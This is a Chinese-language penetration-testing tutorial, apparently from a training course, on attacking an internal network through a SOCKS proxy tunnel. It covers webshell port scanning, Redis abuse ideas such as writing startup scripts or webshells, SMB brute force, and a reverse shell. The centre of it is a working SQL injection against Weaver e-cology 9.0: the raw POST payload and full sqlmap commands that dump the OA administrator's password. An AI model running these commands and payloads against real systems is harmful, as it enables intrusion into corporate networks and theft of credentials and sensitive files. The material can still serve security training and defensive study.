内网横向
内容简介
本小节主要讲解了如何在内网代理隧道的情况下对内网进行信息收集探测然后进行攻击，本小节会尝试使用各种方法去攻击，最终会拿下内网的一个OA 系统，然后通过 OA 系统发现大量的敏感文件信息。
端口扫描
不建议大家在 Socks5 隧道代理的情况下对内网进行端口扫描，这样会导致我们隧道的不稳定性，国光建议大家直接 webshell 自带的端口扫描工具先进行基本的端口探测，国光这里使用蚁剑插件市场里面的端口扫描工具逐个对内网资产进行常见的端口扫描：
可以看到 172.18.100.101 开放了 80、445、3389、6379、8090 端口，很明显是一台 Windows 服务器，且开了不少脆弱的服务：
访问一下 80 端口看看，果然是 Windows Server 服务器，看上去版本还是比较高的，至少是 Windows Server 2012 R2 以上的版本，那么很可能是存在 MS 17-010 漏洞的：
思路整理
通过对上述端口进行探测，整理出如下的攻击思路：
- 尝试直接使用 MS 17-010 来通过 445 端口来攻击 Windows Server
- 看看 6379 的 Redis 端口是否可以未授权访问漏洞利用
- 看看 8090 端口是啥 Web 资产，以及是否有漏洞
- 爆破 SMB 以及 Redis 端口（原则上 有 SMB 就不爆破 RDP 端口了）
当然还有其他思路，比如 80 端口的 IIS 是否有漏洞可以利用等，国光这里就不展开了，接下来让我们逐步来验证一下上述的思路。
MS 17-010 尝试（失败）
MS 17-010 检测
那就直接上 MS 17-010 检测模块来看看目标 Windows Server 系统是否真的存在漏洞：
很遗憾，目标主机并不存在 MS 17-010 漏洞：
Redis 探测利用（鸡肋）
proxychians 配置代理
我们使用 MSF 所在的 Kali 系统自带的 redis-cli 客户端命令来测试一下目标系统的 Redis 是否设置了密码，在操作前我先编辑 proxychians 的配置文件，将其设置为我们的 1080 端口的 Socks5 代理隧道，在文件的最后一行编辑配置我们的代理：
配置完代理后，使用 curl 命令测试一下 172 内网，发现可以正常访问：
redis-cli 交互验证
那么直接通过 proxychains 代理我们的 redis-cli 命令来测试一下 172.18.100.101 的 6379 服务器是否可以正常交互，可以看到成功连接到目标系统的 Redis 服务了，说明他并没有设置密码：
不过可惜我们的 Redis 版本有点高，而且是 Windows 下的环境，所以我们不能直接 RCE，但是还是 Windows 服务器下的 Redis 未授权访问还是有一些思路值得分享一下：
- 使用 r35tart/RedisWriteFile 项目来在 Windows 启动项写入 bat 文件，重启后触发 RCE
- 需要服务器重启后才可以触发
- 使用 r35tart/RedisWriteFile 项目来做 DLL 劫持，打开特定软件即可触发 RCE
- 需要桌面环境下有人管理员打开特定软件才可以触发
- 使用 r35tart/RedisWriteFile 项目来做覆写桌面上的快捷方式，服务器的人员点击后触发 RCE
- 需要服务器桌面环境下管理员主动点击快捷方式才可以触发
- 使用 r35tart/RedisWriteFile 项目在 Windows Server 2003 老系统下使用 MOF 目录定时执行来触发 RCE
- Windows Server 2003 有点鸡肋
- 使用 r35tart/RedisWriteFile 项目在网站的目录下写入 webshell
- 需要知道网站的物理路径才可以
SMB 爆破（看运气）
一般情况下有 SMB 服务的情况下，我们是不会爆破 RDP 的，因为 RDP 爆破效率不高且不稳定，不如直接爆破 SMB 的 445 端口服务，这里我们使用经典的超级弱口令检查工具：https://github.com/shack2/SNETCracker 来进行爆破，使用默认的字典并没有成功爆破：
爆破是个对字典要求很高的活，很考验耐心和持久性，所以国光这里不继续展开走这个爆破思路了，总之，不到万不得已，我们不爆破。
泛微 OA（利用）
发现 OA 系统
最后我只剩一个 8090 端口了，我们来访问测试看看，发现跑着比较新的泛微 OA 系统：
而且版本比较高，不过我们还是要查一下泛微最近是否暴出相关的漏洞。
检索漏洞
通过国光的 Web 安全社区我们发现了范围最近出了一个 SQL 注入漏洞：
泛微 e-cology 9.0 前台SQL注入漏洞：https://web.sqlsec.com/thread/174
我们在国光的社区里面再翻一翻，发现了漏洞相关的利用细节的帖子：
泛微 e-cology 9.0 前台SQL注入漏洞（靶场环境） ：https://web.sqlsec.com/thread/194
在这个帖子的评论区下找到了 SQLMap 的利用细节：
漏洞利用
准备数据
因为注入点是在 POST 包里面，所以需要我们先准备好对应的 POST 数据包如下：
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: 172.18.100.101:8090
Content-Type: application/x-www-form-urlencodeds
fileid=2&isFromOutImg=1
直接测试
然后使用 proxychains 代理 sqlmap 工具来进行 SQL 注入：
proxychains sqlmap -r sqlmap.txt --random-agent --tamper=space2plus --technique=T --dbms=mssql --skip-urlencode -p fileid
但是直接注入的话因为 MSF 的 Socks 隧道比较脆弱，SQLMap 默认的速率会直接将隧道打挂掉（会自动恢复 得等一段时间才可以）：
降低速率
所以我们这里得使用 SQLMap 的其他小众进阶的参数来减缓我们的 SQLMap 的请求速率：
proxychains sqlmap -r sqlmap.txt --random-agent --tamper=space2plus --technique=T --dbms=mssql --skip-urlencode -p fileid --delay=1 --threads 5 --time-sec 5
果然速率降低的话，可以正常进行 SQL 注入测试了，也不会把代理搞崩掉：
最终也成功检测出 SQL 注入漏洞了：
注入数据
既然存在 SQL 注入的话，我们直接来一步步获取敏感信息吧，首先查询当前的数据库信息，正常注入出当前的数据库为 ecology：
# 查询当前数据库名
proxychains sqlmap -r sqlmap.txt --random-agent --tamper=space2plus --technique=T --dbms=mssql --skip-urlencode -p fileid --delay=1 --threads 5 --time-sec 5 -current-db
同理我们来逐步注入出泛微 OA 的敏感登录数据看看，但是！这样通过 Socks 代理去盲注的效率是极其低下的，所以我们得想办法换个思路才行。
交互式 Shell
因为挂代理的话速度很慢，我们得想办法直接在 webshell 的服务器上去执行 sqlmap 注入，这样效率是最高的。
上传 sqlmap
直接通过蚁剑来上传 sqlmap 的压缩包：
但是 sqlmap 一般情况下是需要交互的（其实 sqlmap 也是可以有参数无交互注入的，感兴趣的学员可以去看这个帖子 国光在安恒工作期间制作的 SQL 注入进阶PPT分享展示）：
tty shell
tty shell 是一个可以正常交互的 shell，我们的键盘输入啥的都可以正常交互，首先在外网服务器上做 tty shell 监听：
然后在蚁剑的终端下反弹 shell：
可以使用国光的 RCE 编码工具编码，方便我们操作：
成功交互，虽然看上去不是很好看，但是不影响我们正常的回车等交互的：
注入数据
但是发现无法正常注入出 ecology 数据库下的表名：
# 查询 ecology 数据库下的表名
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=T --dbms=mssql --skip-urlencode -p fileid -D ecology --tables
查询网上相关资料，我们其实可以直接定位到表面和字段名：
那么尝试使用 sqlmap 直接来 dump 密码吧：
# 查询 ecology 数据库下 hrmresourcemanager 表名下的 password 值
python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=T --dbms=mssql --skip-urlencode -p fileid -D ecology -T hrmresourcemanager -C password --dump
成功注入出了 sysadmin 的密码为 admin@123：
